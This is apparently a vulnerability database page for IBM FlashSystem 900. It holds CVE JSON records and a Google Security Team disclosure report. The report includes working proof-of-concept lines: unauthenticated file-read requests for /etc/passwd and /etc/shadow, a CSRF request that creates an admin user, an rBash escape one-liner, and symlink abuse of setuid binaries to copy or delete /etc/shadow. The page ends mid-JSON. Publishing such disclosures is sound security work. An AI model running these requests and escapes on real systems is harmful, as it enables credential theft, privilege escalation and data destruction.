All the vulnerabilites related to IBM - FlashSystem 900
cve-2020-4987
Vulnerability from cvelistv5
Published
2021-05-04 15:45
Modified
2024-09-17 03:59
Severity ?
EPSS score ?
Summary
The IBM FlashSystem 900 user management GUI is vulnerable to stored cross-site scripting in code versions 1.5.2.8 and prior and 1.6.1.2 and prior. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.
References
| ▼ | URL | Tags |
|---|---|---|
| https://www.ibm.com/support/pages/node/6449280 | x_refsource_CONFIRM | |
| https://exchange.xforce.ibmcloud.com/vulnerabilities/192702 | vdb-entry, x_refsource_XF |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| ▼ | IBM | FlashSystem 900 |
Version: 1.6.1.2 Version: 1.5.2.8 |
|
|
|||
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-04T08:22:07.553Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://www.ibm.com/support/pages/node/6449280"
},
{
"name": "ibm-flashsystem-cve20204987-xss (192702)",
"tags": [
"vdb-entry",
"x_refsource_XF",
"x_transferred"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/192702"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "FlashSystem 900",
"vendor": "IBM",
"versions": [
{
"status": "affected",
"version": "1.6.1.2"
},
{
"status": "affected",
"version": "1.5.2.8"
}
]
}
],
"datePublic": "2021-05-03T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "The IBM FlashSystem 900 user management GUI is vulnerable to stored cross-site scripting in code versions 1.5.2.8 and prior and 1.6.1.2 and prior. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session."
}
],
"metrics": [
{
"cvssV3_0": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"exploitCodeMaturity": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"remediationLevel": "OFFICIAL_FIX",
"reportConfidence": "CONFIRMED",
"scope": "CHANGED",
"temporalScore": 6.1,
"temporalSeverity": "MEDIUM",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/A:N/UI:N/S:C/AC:L/I:L/PR:L/AV:N/C:L/RL:O/RC:C/E:H",
"version": "3.0"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "Cross-Site Scripting",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2021-05-14T11:33:34",
"orgId": "9a959283-ebb5-44b6-b705-dcc2bbced522",
"shortName": "ibm"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://www.ibm.com/support/pages/node/6449280"
},
{
"name": "ibm-flashsystem-cve20204987-xss (192702)",
"tags": [
"vdb-entry",
"x_refsource_XF"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/192702"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "psirt@us.ibm.com",
"DATE_PUBLIC": "2021-05-03T00:00:00",
"ID": "CVE-2020-4987",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "FlashSystem 900",
"version": {
"version_data": [
{
"version_value": "1.6.1.2"
},
{
"version_value": "1.5.2.8"
}
]
}
}
]
},
"vendor_name": "IBM"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "The IBM FlashSystem 900 user management GUI is vulnerable to stored cross-site scripting in code versions 1.5.2.8 and prior and 1.6.1.2 and prior. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session."
}
]
},
"impact": {
"cvssv3": {
"BM": {
"A": "N",
"AC": "L",
"AV": "N",
"C": "L",
"I": "L",
"PR": "L",
"S": "C",
"UI": "N"
},
"TM": {
"E": "H",
"RC": "C",
"RL": "O"
}
}
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "Cross-Site Scripting"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://www.ibm.com/support/pages/node/6449280",
"refsource": "CONFIRM",
"title": "IBM Security Bulletin 6449280 (FlashSystem 900)",
"url": "https://www.ibm.com/support/pages/node/6449280"
},
{
"name": "ibm-flashsystem-cve20204987-xss (192702)",
"refsource": "XF",
"title": "X-Force Vulnerability Report",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/192702"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "9a959283-ebb5-44b6-b705-dcc2bbced522",
"assignerShortName": "ibm",
"cveId": "CVE-2020-4987",
"datePublished": "2021-05-04T15:45:14.502211Z",
"dateReserved": "2019-12-30T00:00:00",
"dateUpdated": "2024-09-17T03:59:23.672Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2021-29873
Vulnerability from cvelistv5
Published
2021-10-21 16:40
Modified
2024-09-16 20:17
Severity ?
EPSS score ?
Summary
IBM Flash System 900 could allow an authenticated attacker to obtain sensitive information and cause a denial of service due to a restricted shell escape vulnerability. IBM X-Force ID: 206229.
References
| ▼ | URL | Tags |
|---|---|---|
| https://www.ibm.com/support/pages/node/6497111 | x_refsource_CONFIRM | |
| https://www.ibm.com/support/pages/node/6507091 | x_refsource_CONFIRM | |
| https://exchange.xforce.ibmcloud.com/vulnerabilities/206229 | vdb-entry, x_refsource_XF |
Impacted products
| Vendor | Product | Version | |||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| ▼ | IBM | FlashSystem 900 |
Version: 1.6.1.4 Version: 1.5.2.10 |
||||||||||||||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||||||||||||||||
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-03T22:18:03.195Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://www.ibm.com/support/pages/node/6497111"
},
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://www.ibm.com/support/pages/node/6507091"
},
{
"name": "ibm-storwize-cve202129873-priv-escalation (206229)",
"tags": [
"vdb-entry",
"x_refsource_XF",
"x_transferred"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/206229"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "FlashSystem 900",
"vendor": "IBM",
"versions": [
{
"status": "affected",
"version": "1.6.1.4"
},
{
"status": "affected",
"version": "1.5.2.10"
}
]
},
{
"product": "FlashSystem V9000",
"vendor": "IBM",
"versions": [
{
"status": "affected",
"version": "7.8"
},
{
"status": "affected",
"version": "8.4"
}
]
},
{
"product": "Storwize V3500",
"vendor": "IBM",
"versions": [
{
"status": "affected",
"version": "7.8"
},
{
"status": "affected",
"version": "8.4"
}
]
},
{
"product": "Storwize V5000",
"vendor": "IBM",
"versions": [
{
"status": "affected",
"version": "7.8"
},
{
"status": "affected",
"version": "8.4"
}
]
},
{
"product": "Storwize V5100",
"vendor": "IBM",
"versions": [
{
"status": "affected",
"version": "8.4"
},
{
"status": "affected",
"version": "7.8"
}
]
},
{
"product": "FlashSystem 9100 Family",
"vendor": "IBM",
"versions": [
{
"status": "affected",
"version": "8.4"
},
{
"status": "affected",
"version": "7.8"
}
]
},
{
"product": "Storwize V3700",
"vendor": "IBM",
"versions": [
{
"status": "affected",
"version": "7.8"
},
{
"status": "affected",
"version": "8.4"
}
]
},
{
"product": "SAN Volume Controller",
"vendor": "IBM",
"versions": [
{
"status": "affected",
"version": "7.8"
},
{
"status": "affected",
"version": "8.4"
}
]
},
{
"product": "Storwize V7000",
"vendor": "IBM",
"versions": [
{
"status": "affected",
"version": "8.4"
},
{
"status": "affected",
"version": "7.8"
}
]
},
{
"product": "Spectrum Virtualize Software",
"vendor": "IBM",
"versions": [
{
"status": "affected",
"version": "7.8"
},
{
"status": "affected",
"version": "8.4"
}
]
},
{
"product": "Spectrum Virtualize for Public Cloud",
"vendor": "IBM",
"versions": [
{
"status": "affected",
"version": "7.8"
},
{
"status": "affected",
"version": "8.4"
}
]
}
],
"datePublic": "2021-10-20T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "IBM Flash System 900 could allow an authenticated attacker to obtain sensitive information and cause a denial of service due to a restricted shell escape vulnerability. IBM X-Force ID: 206229."
}
],
"metrics": [
{
"cvssV3_0": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitCodeMaturity": "UNPROVEN",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"remediationLevel": "OFFICIAL_FIX",
"reportConfidence": "CONFIRMED",
"scope": "UNCHANGED",
"temporalScore": 7.7,
"temporalSeverity": "HIGH",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/A:H/AV:N/I:H/PR:L/C:H/S:U/UI:N/AC:L/E:U/RC:C/RL:O",
"version": "3.0"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "Gain Privileges",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2021-10-21T16:40:13",
"orgId": "9a959283-ebb5-44b6-b705-dcc2bbced522",
"shortName": "ibm"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://www.ibm.com/support/pages/node/6497111"
},
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://www.ibm.com/support/pages/node/6507091"
},
{
"name": "ibm-storwize-cve202129873-priv-escalation (206229)",
"tags": [
"vdb-entry",
"x_refsource_XF"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/206229"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "psirt@us.ibm.com",
"DATE_PUBLIC": "2021-10-20T00:00:00",
"ID": "CVE-2021-29873",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "FlashSystem 900",
"version": {
"version_data": [
{
"version_value": "1.6.1.4"
},
{
"version_value": "1.5.2.10"
}
]
}
},
{
"product_name": "FlashSystem V9000",
"version": {
"version_data": [
{
"version_value": "7.8"
},
{
"version_value": "8.4"
}
]
}
},
{
"product_name": "Storwize V3500",
"version": {
"version_data": [
{
"version_value": "7.8"
},
{
"version_value": "8.4"
}
]
}
},
{
"product_name": "Storwize V5000",
"version": {
"version_data": [
{
"version_value": "7.8"
},
{
"version_value": "8.4"
}
]
}
},
{
"product_name": "Storwize V5100",
"version": {
"version_data": [
{
"version_value": "8.4"
},
{
"version_value": "7.8"
}
]
}
},
{
"product_name": "FlashSystem 9100 Family",
"version": {
"version_data": [
{
"version_value": "8.4"
},
{
"version_value": "7.8"
}
]
}
},
{
"product_name": "Storwize V3700",
"version": {
"version_data": [
{
"version_value": "7.8"
},
{
"version_value": "8.4"
}
]
}
},
{
"product_name": "SAN Volume Controller",
"version": {
"version_data": [
{
"version_value": "7.8"
},
{
"version_value": "8.4"
}
]
}
},
{
"product_name": "Storwize V7000",
"version": {
"version_data": [
{
"version_value": "8.4"
},
{
"version_value": "7.8"
}
]
}
},
{
"product_name": "Spectrum Virtualize Software",
"version": {
"version_data": [
{
"version_value": "7.8"
},
{
"version_value": "8.4"
}
]
}
},
{
"product_name": "Spectrum Virtualize for Public Cloud",
"version": {
"version_data": [
{
"version_value": "7.8"
},
{
"version_value": "8.4"
}
]
}
}
]
},
"vendor_name": "IBM"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "IBM Flash System 900 could allow an authenticated attacker to obtain sensitive information and cause a denial of service due to a restricted shell escape vulnerability. IBM X-Force ID: 206229."
}
]
},
"impact": {
"cvssv3": {
"BM": {
"A": "H",
"AC": "L",
"AV": "N",
"C": "H",
"I": "H",
"PR": "L",
"S": "U",
"UI": "N"
},
"TM": {
"E": "U",
"RC": "C",
"RL": "O"
}
}
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "Gain Privileges"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://www.ibm.com/support/pages/node/6497111",
"refsource": "CONFIRM",
"title": "IBM Security Bulletin 6497111 (SAN Volume Controller)",
"url": "https://www.ibm.com/support/pages/node/6497111"
},
{
"name": "https://www.ibm.com/support/pages/node/6507091",
"refsource": "CONFIRM",
"title": "IBM Security Bulletin 6507091 (FlashSystem 900)",
"url": "https://www.ibm.com/support/pages/node/6507091"
},
{
"name": "ibm-storwize-cve202129873-priv-escalation (206229)",
"refsource": "XF",
"title": "X-Force Vulnerability Report",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/206229"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "9a959283-ebb5-44b6-b705-dcc2bbced522",
"assignerShortName": "ibm",
"cveId": "CVE-2021-29873",
"datePublished": "2021-10-21T16:40:13.636365Z",
"dateReserved": "2021-03-31T00:00:00",
"dateUpdated": "2024-09-16T20:17:23.473Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2018-1822
Vulnerability from cvelistv5
Published
2018-10-18 16:00
Modified
2024-09-16 19:41
Severity ?
EPSS score ?
Summary
IBM FlashSystem 900 product GUI allows a specially crafted attack to bypass the authentication requirements of the system, resulting in the ability to remotely change the superuser password. This can be used by an attacker to gain administrative control or to deny service. IBM X-Force ID: 150296.
References
| ▼ | URL | Tags |
|---|---|---|
| https://exchange.xforce.ibmcloud.com/vulnerabilities/150296 | vdb-entry, x_refsource_XF | |
| http://www.ibm.com/support/docview.wss?uid=ibm10732962 | x_refsource_CONFIRM |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| ▼ | IBM | FlashSystem 900 | |
|
|
|||
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T04:14:38.366Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "ibm-flashsystem-cve20181822-sec-bypass(150296)",
"tags": [
"vdb-entry",
"x_refsource_XF",
"x_transferred"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/150296"
},
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "http://www.ibm.com/support/docview.wss?uid=ibm10732962"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"defaultStatus": "affected",
"product": "FlashSystem 900",
"vendor": "IBM"
}
],
"datePublic": "2018-10-02T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "IBM FlashSystem 900 product GUI allows a specially crafted attack to bypass the authentication requirements of the system, resulting in the ability to remotely change the superuser password. This can be used by an attacker to gain administrative control or to deny service. IBM X-Force ID: 150296."
}
],
"metrics": [
{
"cvssV3_0": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitCodeMaturity": "UNPROVEN",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"remediationLevel": "OFFICIAL_FIX",
"reportConfidence": "CONFIRMED",
"scope": "UNCHANGED",
"temporalScore": 8.5,
"temporalSeverity": "HIGH",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/A:H/AC:L/AV:N/C:H/I:H/PR:N/S:U/UI:N/E:U/RC:C/RL:O",
"version": "3.0"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "Bypass Security",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2018-10-18T15:57:01",
"orgId": "9a959283-ebb5-44b6-b705-dcc2bbced522",
"shortName": "ibm"
},
"references": [
{
"name": "ibm-flashsystem-cve20181822-sec-bypass(150296)",
"tags": [
"vdb-entry",
"x_refsource_XF"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/150296"
},
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "http://www.ibm.com/support/docview.wss?uid=ibm10732962"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "psirt@us.ibm.com",
"DATE_PUBLIC": "2018-10-02T00:00:00",
"ID": "CVE-2018-1822",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "FlashSystem 900",
"version": {
"version_data": [
{
"version_value": "900"
}
]
}
}
]
},
"vendor_name": "IBM"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "IBM FlashSystem 900 product GUI allows a specially crafted attack to bypass the authentication requirements of the system, resulting in the ability to remotely change the superuser password. This can be used by an attacker to gain administrative control or to deny service. IBM X-Force ID: 150296."
}
]
},
"impact": {
"cvssv3": {
"BM": {
"A": "H",
"AC": "L",
"AV": "N",
"C": "H",
"I": "H",
"PR": "N",
"S": "U",
"UI": "N"
},
"TM": {
"E": "U",
"RC": "C",
"RL": "O"
}
}
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "Bypass Security"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "ibm-flashsystem-cve20181822-sec-bypass(150296)",
"refsource": "XF",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/150296"
},
{
"name": "http://www.ibm.com/support/docview.wss?uid=ibm10732962",
"refsource": "CONFIRM",
"url": "http://www.ibm.com/support/docview.wss?uid=ibm10732962"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "9a959283-ebb5-44b6-b705-dcc2bbced522",
"assignerShortName": "ibm",
"cveId": "CVE-2018-1822",
"datePublished": "2018-10-18T16:00:00Z",
"dateReserved": "2017-12-13T00:00:00",
"dateUpdated": "2024-09-16T19:41:18.238Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
var-201805-0351
Vulnerability from variot
IBM FlashSystem V840 and V900 products could allow an authenticated attacker with specialized access to overwrite arbitrary files which could cause a denial of service. IBM X-Force ID: 141148. IBM FlashSystem V840 and V900 The product contains vulnerabilities related to authorization, permissions, and access control. Vendors have confirmed this vulnerability IBM X-Force ID: 141148 It is released as.Service operation interruption (DoS) There is a possibility of being put into a state. Both IBM FlashSystem V840 and V900 are all-flash enterprise-level storage solutions of IBM Corporation in the United States. The solution provides a full set of disaster recovery tools (including snapshot, clone and replication) to protect data security and use IBM Virtual Storage Center to realize virtualization configuration and performance management. Vulnerabilities in IBMs Flashsystems and Storwize Products
Introduction
Vulnerabilities were identified in the IBM Flashsystem 840, IBM Flashsystem 900 and IBM Storwize V7000. These were discovered during a black box assessment and therefore the vulnerability list should not be considered exhaustive; observations suggest that it is likely that further vulnerabilities exist. It is strongly recommended that IBM Corporation undertakes a full whitebox security assessment of this application.
The version under test was indicated as: 1.6.2.2 build 18
Affected Software And Versions
- IBM Flashsystem 900
- IBM Flashsystem 840
- IBM Storwize V7000
Affected versions are indicated directly within the reported issues.
CVE
The following CVEs were assigned to the issues described in this report: CVE-2018-1438 CVE-2018-1433 CVE-2018-1434 CVE-2018-1462 CVE-2018-1463 CVE-2018-1464 CVE-2018-1495 CVE-2018-1467 CVE-2018-1465 CVE-2018-1466 CVE-2018-1461
Vulnerability Overview
- CVE-2018-1438: Unauthenticated arbitrary file read on V7000 Unified allowing storage data access
- CVE-2018-1433: Unauthenticated arbitrary file read via the DownloadFile Handler / Authenticated arbitrary file read via the DownloadFile Handler on v7000 Unified
- CVE-2018-1434: Web interface vulnerable to CSRF
- CVE-2018-1462: rBash ineffective as a security measure
- CVE-2018-1463: World readable credentials and encryption keys
- CVE-2018-1464: Sensitive file disclosure of files readable by root
- CVE-2018-1495: Arbitrary file overwrite
- CVE-2018-1467: Unauthenticated information disclosure
- CVE-2018-1465: Unprivileged web server process may read SSL private key
- CVE-2018-1466: Weak password hashing algorithm used
- CVE-2018-1461: Missing Security Related HTTP Headers
Vulnerability Details
CVE-2018-1438. Unauthenticated arbitrary file read on V7000 Unified allowing storage data access
On the IBM V7000 Unified System the web handler /DLSnap does not require authentication and allows to read arbitrary files from the system as "root", including the data stored in the storage system from the mounted shares.
GET /DLSnap?filename=/ibm/
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control:
Expires: Wed, 31 Dec 1969 16:00:00 PST
X-Frame-Options: SAMEORIGIN
Set-Cookie: SonasSessionID=
42
CVE-2018-1433. Unauthenticated file read via the DownloadFile Handler / Authenticated arbitrary file read via the DownloadFile Handler on v7000 Unified
In case of the following list of products, the DownloadFile handler allows unauthenticated file reading under the "webadmin" user: IBM Flashsystem 900 IBM Flashsystem 840 IBM Storwize V7000
Example request: GET /DownloadFile?filename=/etc/passwd HTTP/1.1 Host: v7k01n02 Connection: close Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
On the V7000 Unified the same request handler allows reading arbitrary
files under the "root" user, however authentication is required here:
GET /DownloadFile?filename=/etc/shadow
Host: v7ku01
Connection: close
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie:
CVE-2018-1434: Web interface vulnerable to CSRF
The main web interface on the V7000 Unified is vulnerable to CSRF and other interfaces seem to be vulnerable as well. This could allow an external attacker to execute commands on behalf of a user/administrator of the system and potentially also access data stored on the system.
Example request (using a cross domain XMLHttpRequest):
POST /RPCAdapter HTTP/1.1
Host: v7ku01
Origin: https://www.example.com
Referer: https://www.example.com/create_admin.html
Content-Type: text/plain
Connection: close
Content-Length: 183
Cookie:
{"clazz":"com.ibm.evo.rpc.RPCRequest","methodClazz":"com.ibm.sonas.gui.logic.AccessRPC","methodName":"launchCreateUserTask","methodArgs":["my-secadmin","
Response: HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN Content-Type: application/json;charset=UTF-8 Content-Length: 319 Connection: close
{"clazz":"com.ibm.evo.rpc.RPCResponse","messages":null,"result":{"clazz":"com.ibm.sonas.gui.logic.tasks.access.CreateUserTask","shouldBeScheduled":true,"started":1516202190188,"id":"
CVE-2018-1462: Ineffective rBash Configuration
On machines with a restricted bash, a possible escape from rBash looks like the following: BASH_CMDS[escape]=/bin/bash;escape
CVE-2018-1463: World readable credentials and encryption keys
While some systems have removed the world-read bit from several files and directories, more important files which contain application configuration details, passwords and secret keys are world readable and sometimes also world writable. On the IBM Flash System, this also includes the storage encryption key.
Partial directory listing of /persist/ on the Unified system:
drwxr-xr-x. 2 root root 4096 Jan 18 01:35 . drwxr-xr-x. 29 root root 4096 Aug 15 16:16 .. -rw-r--r--. 1 root root 27040 Jan 16 08:28 vpd ...
Partial directory listing of /mnt/plfs on the Flash system:
drwxrwxrwx 4 root root 0 Dec 31 1969 . drwxr-x--x 7 root root 1024 Jan 8 07:41 .. -rw-rw-rw- 1 root root 24 Oct 24 2016 encryption.key
CVE-2018-1464: Sensitive file disclosure of files readable by root
The setuid binary svc_copy is a wrapper around the script sw_copy which calls cp on the shell.
Creating a symlink to any file, this file can be copied as root to /dumps and is world readable/writable (-rw-rw-rw- ):
$ ln -s /etc/shadow /tmp/shadow $ ./svc_copy /tmp/shadow /dumps/
The file /dumps/shadow is now world readable with the permissions (-rw-rw-rw- )
CVE-2018-1495: Arbitrary file deletion
The setuid binary log_cleanup is a wrapper around log_cleanup.py
This binary wipes the directories /dumps or /tmp and has an undocumented feature "-s" (delete target of symlink).
The following command deletes an arbitrary file (e.g. /etc/shadow): $ ln -s /etc/shadow /tmp/shadow $ ./log_cleanup -s Select /tmp as target directory to be wiped
CVE-2018-1467: Unauthenticated information disclosure
Some web handlers on the V7000 Unified expose system configuration without authentication which could be used by an attacker to collect vital details about the environment.
https://v7ku01/SonasInfoServlet?challenge=1
CLUSTER_ID=
CVE-2018-1465: Unprivileged web server process may read SSL private key
The current private key for the installed SSL certificate on the V7000 FC CE Cannister Node is readable by the webadmin user: -rw-r----- 1 webadmin 1000 1679 Aug 15 09:47 /dev/server.key
As a result the file can be read through vulnerabilities in the web application, e.g. via the DownloadFile handler (see separate issue).
Certificate details: Validity: 15 years Subject: C=GB, L=Hursley, O=IBM, OU=SSG, CN=2076, emailAddress=support@ibm.com
CVE-2018-1466: Weak password hashing algorithm used
The root password on the V7000 (CE) FC Cannister and Flash System nodes (and probably others, too) are hashed with a weak algorithm (DES) instead of the SHA512 which is the system's default according to /etc/login.defs.
CVE-2018-1461: Missing Security Related HTTP Headers
XSS Protection HTTP Header The XSS Filter is a feature that is built into modern web browsers and is meant to prevent reflective Cross Site Scripting attacks. This feature can be explicitly turned on (and also off) by using the HTTP header X-XSS-Protection.
X-Content-Type Header To make MIME type confusion attacks harder, the HTTP header X-Content-Type-Options can be set. This header prevents trusting the user provided MIME type and instead guessing the MIME type of the server response.
Author
The vulnerabilities were discovered by Sebastian Neuner (@sebastian9er) and Jan Bee from the Google Security Team.
Timeline
2018/01/26 - Security report sent to psirt@us.ibm.com with 90 day disclosure deadline (2018/04/26). 2018/01/29 - IBM acknowledges report and starts working on the issues. 2018/04/13 - IBM requested grace period due to internal patch cycle. 2018/04/16 - Google granted two week grace period (from 2018/04/26 to 2018/05/11). 2018/05/11 - Public disclosure on the Full Disclosure/Bugtraq Mailing List
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201805-0351",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "flashsystem 840",
"scope": "eq",
"trust": 1.6,
"vendor": "ibm",
"version": null
},
{
"model": "flashsystem 900",
"scope": "eq",
"trust": 1.6,
"vendor": "ibm",
"version": null
},
{
"model": "flashsystem v840",
"scope": null,
"trust": 0.8,
"vendor": "ibm",
"version": null
},
{
"model": "flashsystem v900",
"scope": null,
"trust": 0.8,
"vendor": "ibm",
"version": null
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-005792"
},
{
"db": "NVD",
"id": "CVE-2018-1495"
},
{
"db": "CNNVD",
"id": "CNNVD-201805-971"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:ibm:flashsystem_900_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:ibm:flashsystem_900:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:ibm:flashsystem_840_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:ibm:flashsystem_840:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2018-1495"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
